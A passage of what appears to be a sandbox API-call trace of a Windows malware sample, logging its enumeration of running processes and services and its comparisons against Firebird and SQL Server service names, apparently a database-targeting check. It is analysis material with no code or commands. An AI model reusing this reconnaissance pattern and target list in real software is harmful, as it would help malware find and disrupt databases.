th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0187.888] lstrlenW (lpString="wininit.exe") returned 11 [0187.888] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0187.889] lstrlenW (lpString="csrss.exe") returned 9 [0187.889] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0187.889] lstrlenW (lpString="winlogon.exe") returned 12 [0187.889] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0187.890] lstrlenW (lpString="services.exe") returned 12 [0187.890] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0187.890] lstrlenW (lpString="lsass.exe") returned 9 [0187.890] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0187.890] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0187.890] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0187.891] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0187.891] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.891] lstrlenW (lpString="svchost.exe") returned 11 [0187.891] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.892] lstrlenW (lpString="svchost.exe") returned 11 [0187.892] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0187.892] lstrlenW (lpString="dwm.exe") returned 7 [0187.892] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.893] lstrlenW (lpString="svchost.exe") returned 11 [0187.893] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.893] lstrlenW (lpString="svchost.exe") returned 11 [0187.893] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.893] lstrlenW (lpString="svchost.exe") returned 11 [0187.893] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.894] lstrlenW (lpString="svchost.exe") returned 11 [0187.894] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.894] lstrlenW (lpString="svchost.exe") returned 11 [0187.894] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.895] lstrlenW (lpString="svchost.exe") returned 11 [0187.895] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.895] lstrlenW (lpString="svchost.exe") returned 11 [0187.895] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.896] lstrlenW (lpString="svchost.exe") returned 11 [0187.896] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.896] lstrlenW (lpString="svchost.exe") returned 11 [0187.896] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.896] lstrlenW (lpString="svchost.exe") returned 11 [0187.896] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0187.897] lstrlenW (lpString="spoolsv.exe") returned 11 [0187.897] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.897] lstrlenW (lpString="svchost.exe") returned 11 [0187.897] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0187.898] lstrlenW (lpString="audiodg.exe") returned 11 [0187.898] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0187.898] lstrlenW (lpString="sihost.exe") returned 10 [0187.898] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.899] lstrlenW (lpString="svchost.exe") returned 11 [0187.899] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0187.899] lstrlenW (lpString="taskhostw.exe") returned 13 [0187.899] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0187.899] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0187.899] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0187.900] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0187.900] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0187.900] lstrlenW (lpString="Memory Compression") returned 18 [0187.900] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x33, th32ParentProcessID=0x98c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0187.901] lstrlenW (lpString="explorer.exe") returned 12 [0187.901] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0187.901] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0187.911] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0187.911] lstrlenW (lpString="SearchUI.exe") returned 12 [0187.911] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0187.912] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0187.912] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0187.912] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0187.912] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0187.913] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0187.913] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0187.913] lstrlenW (lpString="dllhost.exe") returned 11 [0187.913] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0187.914] lstrlenW (lpString="dllhost.exe") returned 11 [0187.914] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0187.914] CloseHandle (hObject=0x454) returned 1 [0187.914] Sleep (dwMilliseconds=0x1f4) [0188.498] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x408e2d0 [0188.499] EnumServicesStatusExW (in: hSCManager=0x408e2d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0188.499] GetLastError () returned 0xea [0188.499] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1bc4) returned 0x4052988 [0188.500] EnumServicesStatusExW (in: hSCManager=0x408e2d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4052988, cbBufSize=0x1bc4, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4052988, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0188.501] CloseServiceHandle (hSCObject=0x408e2d0) returned 1 [0188.501] lstrlenW (lpString="Appinfo") returned 7 [0188.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0188.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0188.501] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0188.501] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0188.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0188.501] lstrlenW (lpString="AppXSvc") returned 7 [0188.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0188.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0188.502] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0188.502] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0188.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0188.502] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0188.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0188.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0188.502] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0188.502] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0188.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0188.502] lstrlenW (lpString="Audiosrv") returned 8 [0188.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0188.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0188.502] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0188.502] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0188.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0188.502] lstrlenW (lpString="BFE") returned 3 [0188.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0188.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0188.502] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0188.502] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0188.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0188.502] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0188.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0188.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0188.502] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0188.502] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0188.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0188.502] lstrlenW (lpString="CDPSvc") returned 6 [0188.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0188.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0188.503] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0188.503] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0188.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0188.503] lstrlenW (lpString="ClickToRunSvc") returned 13 [0188.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0188.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0188.503] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0188.503] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0188.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0188.503] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0188.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0188.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0188.503] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0188.503] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0188.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0188.503] lstrlenW (lpString="CryptSvc") returned 8 [0188.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0188.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0188.503] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0188.503] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0188.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0188.503] lstrlenW (lpString="DcomLaunch") returned 10 [0188.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0188.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0188.503] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0188.503] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0188.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0188.504] lstrlenW (lpString="DeviceAssociationService") returned 24 [0188.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0188.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0188.504] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0188.504] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0188.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0188.504] lstrlenW (lpString="Dhcp") returned 4 [0188.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0188.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0188.504] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0188.504] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0188.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0188.504] lstrlenW (lpString="Dnscache") returned 8 [0188.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0188.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0188.504] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0188.504] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0188.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0188.504] lstrlenW (lpString="DPS") returned 3 [0188.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0188.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0188.504] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0188.504] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0188.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0188.504] lstrlenW (lpString="DusmSvc") returned 7 [0188.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0188.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0188.504] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0188.505] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0188.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0188.505] lstrlenW (lpString="EventLog") returned 8 [0188.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0188.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0188.505] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0188.505] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0188.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0188.505] lstrlenW (lpString="EventSystem") returned 11 [0188.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0188.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0188.505] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0188.505] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0188.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0188.505] lstrlenW (lpString="FontCache") returned 9 [0188.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0188.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0188.505] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0188.505] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0188.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0188.505] lstrlenW (lpString="gpsvc") returned 5 [0188.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0188.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0188.505] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0188.505] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0188.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0188.505] lstrlenW (lpString="iphlpsvc") returned 8 [0188.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0188.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0188.506] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0188.506] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0188.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0188.506] lstrlenW (lpString="KeyIso") returned 6 [0188.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0188.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0188.506] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0188.506] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0188.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0188.506] lstrlenW (lpString="LanmanServer") returned 12 [0188.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0188.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0188.506] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0188.506] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0188.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0188.506] lstrlenW (lpString="LanmanWorkstation") returned 17 [0188.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0188.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0188.506] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0188.506] lstrcmpiW (lpString1="mssqlserver", 